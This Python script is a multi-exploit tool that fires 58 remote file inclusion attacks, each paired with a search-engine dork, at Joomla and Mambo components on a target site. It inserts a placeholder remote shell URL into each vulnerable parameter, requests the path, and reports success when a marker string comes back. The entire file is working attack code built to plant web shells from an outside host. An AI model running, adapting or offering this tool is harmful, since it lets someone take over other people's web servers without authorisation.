#!/usr/bin/python
# Multi exploit para joomla by  jolmos@buguroo.com
# Implements the 58 joomla exploits sumarized by Mr.aFiR_ on  http://www.exploit-db.com/papers/13633/

import urllib2
import re
import sys


class Exploit:
  def __init__(self,dork,url):
    self.url = url
    self.dork = dork

  def run(self,target,rfishell):
    xplt = self.url
    xplt = xplt.replace('##',rfishell)
    url = '%s%s' % (target,xplt)
    try:
      req = urllib2.urlopen(url)
      data = req.read()
      if data.find('o2ij3oiwudjf') == -1:
        print "[ Failed ] %s" % url
        return False

      print "[ Exploited!! ] %s" % url
      return True
    except:
      print "[ 404 ] %s" % url
      return False
    
    

class MultiExploit:
  def __init__(self):
    self.exploits = []
    self.rfishell = 'http://yourshellhere.com/shell.txt???'
    self.load()

  def load(self):
    self.exploits.append(Exploit('inurl:"com_admin"','/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:index.php?option=com_simpleboard','/components/com_simpleboard/file_upload.php?sbp=##'))
    self.exploits.append(Exploit('inurl:"com_hashcash"','/components/com_hashcash/server.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_htmlarea3_xtd-c"','/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_sitemap"','/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_performs"','/components/com_performs/performs.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_forum"','/components/com_forum/download.php?phpbb_root_path=##'))
    self.exploits.append(Exploit('inurl:"com_pccookbook"','/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:index.php?option=com_extcalendar','/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"minibb"','/components/minibb/index.php?absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_smf"','/components/com_smf/smf.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_smf"','/modules/mod_calendar.php?absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_pollxt"','/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_loudmounth"','/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_videodb"','/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:index.php?option=com_pcchess','/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_multibanners"','/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_a6mambohelpdesk"','/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=##'))
    self.exploits.append(Exploit('inurl:"com_colophon"','/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_mgm"','/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_mambatstaff"','/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_securityimages"','/components/com_securityimages/configinsert.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_securityimages"','/components/com_securityimages/lang.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_artlinks"','/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_galleria"','/components/com_galleria/galleria.html.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_akocomment"','/akocomments.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_cropimage"','/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=##'))
    self.exploits.append(Exploit('inurl:"com_kochsuite"','/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_comprofiler"','/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_zoom"','/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_zoom"','/components/com_zoom/includes/database.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_serverstat"','/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:"com_fm"','/components/com_fm/fm.install.php?lm_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_mambelfish','/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_lmo','/components/com_lmo/lmo.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_linkdirectory','/components/com_lmo/lmo.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_linkdirectory','/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_mtree','/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_jim','/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_webring','/administrator/components/com_webring/admin.webring.docs.php?component_dir=##'))
    self.exploits.append(Exploit('inurl:com_remository','/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path='))
    self.exploits.append(Exploit('inurl:com_babackup','/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_lurm_constructor','/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_mambowiki','/components/com_mambowiki/MamboLogin.php?IP=##'))
    self.exploits.append(Exploit('inurl:com_a6mambocredits','/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=##'))
    self.exploits.append(Exploit('inurl:com_phpshop','/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_cpg','/components/com_cpg/cpg.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_moodle','/components/com_moodle/moodle.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_extended_registration','/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_mospray','/components/com_mospray/scripts/admin.php?basedir=##'))
    self.exploits.append(Exploit('inurl:com_bayesiannaivefilter','/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_uhp','/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_peoplebook','/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_mmp','/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_reporter','/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_madeira','/components/com_madeira/img.php?url=##'))
    self.exploits.append(Exploit('inurl:com_jd-wiki','/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=##'))
    self.exploits.append(Exploit('inurl:com_bsq_sitestats','/components/com_bsq_sitestats/external/rssfeed.php?baseDir=##'))
    self.exploits.append(Exploit('inurl:com_bsq_sitestats','/com_bsq_sitestats/external/rssfeed.php?baseDir=##'))

  def launch(self,target):
    for xplt in self.exploits:
      if xplt.run(target,self.rfishell):
        return


if __name__ == '__main__':
  if (len(sys.argv) != 2):
    print 'usage: %s http://vulnerable.com/joomla/'
    sys.exit(1)

  me = MultiExploit()
  me.launch(sys.argv[1])